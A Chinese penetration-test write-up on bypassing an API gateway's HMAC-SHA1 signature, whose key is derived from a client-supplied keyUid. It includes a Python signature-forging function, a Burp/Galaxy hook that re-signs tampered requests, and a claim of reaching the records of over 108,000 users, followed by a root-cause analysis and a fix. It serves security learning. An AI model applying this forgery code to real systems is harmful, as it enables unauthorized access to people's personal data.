文章总结: 本文记录一次API网关签名绕过渗透测试:发现HMAC-SHA1签名密钥由客户端可控参数keyUid自派生,导致认证完全绕过,结合未授权访问漏洞获取平台全量用户个人信息。文章详述签名算法还原、Python实现、Burp联动GalaxyHook自动化签名过程,分析漏洞成因为密钥自派生、路径固定、无时间戳校验,并给出正确设计建议。
综合评分: 88
文章分类: 渗透测试,红队,漏洞分析,WEB安全
一次API网关签名绕过到数据泄露的渗透实录
原创
tangkaixing
tangkaixing
开心网安
2026年9月21日 11:00
重庆
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明
由于传播、利用本公众号开心网安所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号开心网安及作者不为此承担任何责任,一旦造成后果请自行承担!如需要转载等,请标注文章来源。如有侵权烦请告知,我们会立即删除并致歉,谢谢!
概述
在一次对某渗透行动中,发现其API网关的HMAC-SHA1签名验证机制存在设计缺陷:签名密钥由请求参数中的keyUid自派生(key = keyUid + “&”),可任意选择keyUid值并自行计算签名,导致所有API端点认证完全绕过。结合未授权访问漏洞,成功获取平台全量用户的完整个人信息(手机号、姓名、单位、省市县地址等)。本文记录从发现签名逻辑到最终数据验证的完整过程。
一、信息收集:从JS文件中发现签名逻辑
在对目标站点https://yxxxt.xxx.com进行常规信息收集时,通过Burp代理捕获了移动端流量。观察发现所有/apis/*路径的请求URL中均带有固定的签名参数:e(keyUid)、s(签名)、t(时间戳)、r(随机数)。
尝试直接访问API端点:
GET /apis/system/website/detail→ {"code":702,"desc":"非法请求","data":null}
确认存在签名校验机制。那么签名的生成逻辑在哪里?
通过分析前端JS资源,在/_nuxt/xxxxx.js中快速定位到了签名生成的核心代码。经反混淆和还原,签名算法如下:
secret_key = keyUid + "&"base_string = HTTP_METHOD + "&" + "%2F" + "&" + encodeURIComponent(sorted_params)signature = Base64(HmacSHA1(base_string, secret_key))
分析发现:密钥secret_key完全由请求参数e(即keyUid)决定。只需自选任意e值(如”abc123″),密钥即为”abc123&”,然后自行计算HMAC-SHA1签名即可通过验证。
二、算法还原与Python实现
将签名算法转化为Python实现:
def generate_signature(method, params, key_uid): secret_key = key_uid + "&" # 密钥完全由攻击者控制
# 排序参数(排除s本身) params_for_sign = {k: v for k, v in params.items() if k != "s"} sorted_keys = sorted(params_for_sign.keys()) params_string = "&".join(f"{k}={params_for_sign[k]}" for k in sorted_keys)
# 构建签名基串:路径固定为"/" -> "%2F" encoded_params = urllib.parse.quote(params_string, safe="") base_string = f"{method.upper()}&%2F&{encoded_params}"
hmac_obj = hmac.new(secret_key.encode(), base_string.encode(), hashlib.sha1) return base64.b64encode(hmac_obj.digest()).decode()
算法特点分析:
- 路径固定为/(编码为%2F),与实际API路径无关——签名对所有端点通用
- 无服务端密钥参与——签名完全由客户端可控参数决定
- 无时间戳校验——t参数仅参与签名但无时效性验证
验证过程:构造自签名请求,使用e=abc123计算签名,发送到/apis/recommend/list:
签名绕过成功。此时已可访问任意/apis/*端点。
三、漏洞利用:从签名绕过到平台用户数据全量泄露
签名验证被绕过意味着所有API端点均处于未授权可访问状态。随即对平台用户相关接口进行渗透探测:
3.1 用户计数接口
GET /apis/user/page (自签名)→ {"code":0,"data":"108015"} #返回平台用户总数:108,015人。
四、Burp联动Galaxy Hook自动签名
为方便后续渗透测试中在Burp Suite中直接改包重放,基于Galaxy插件编写了Hook脚本,实现:
hookRequestToBurp:自动剥离签名参数(s/r/t/e),Burp中只显示业务参数,清爽改包
hookRequestToServer:改包后自动重新生成时间戳、随机数、HMAC-SHA1签名,即改即发
配置Galaxy后,在Repeater中修改pageNo、pageSize、userId等参数后直接发送,签名自动更新,无需手动计算。
# Galaxy Hook核心逻辑@app.post("/hookRequestToServer")async def hook_request_to_server(raw_request: Request): data = await raw_request.json() query = query_to_dict(data.get("query") or {}) # 剥离旧签名,重新生成 signed = build_signed_params(business_params, key_uid, method) data["query"] = dict_to_query(signed) return JSONResponse(content=data)
五、漏洞成因分析
该漏洞的本质是签名算法设计缺陷:
密钥自派生:secret_key = keyUid + “&”,keyUid由客户端传入,攻击者完全可控。这是根本原因。
路径固定:签名基串中路径固定为”/”,与实际API路径无关,签名对所有端点通用。
无时间戳校验:t参数仅参与签名计算,服务端不校验时效性,签名可长期复用。
无服务端密钥:签名不涉及任何服务端持有的秘密,仅依赖客户端传入的e值。
正确的HMAC签名设计应使用服务端持有的密钥(如secret_key = client_id + “&” + server_secret),客户端传入client_id,服务端使用对应的server_secret计算签名进行比对。
六、总结
- 签名密钥自派生:key = e + “&”,e由客户端传入,是本次所有漏洞的根源
- HMAC-SHA1正确实现:签名算法本身(HMAC-SHA1 + Base64)是正确的,错在密钥管理
- Galaxy Hook联动:将签名绕过自动化,Burp改包即签即发,提升测试效率
- 分层验证:先验证签名算法正确性(selftest),再逐步扩大攻击面(系统配置 → 用户列表 → 用户详情)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:开心网安 tangkaixing
tangkaixing《一次API网关签名绕过到数据泄露的渗透实录》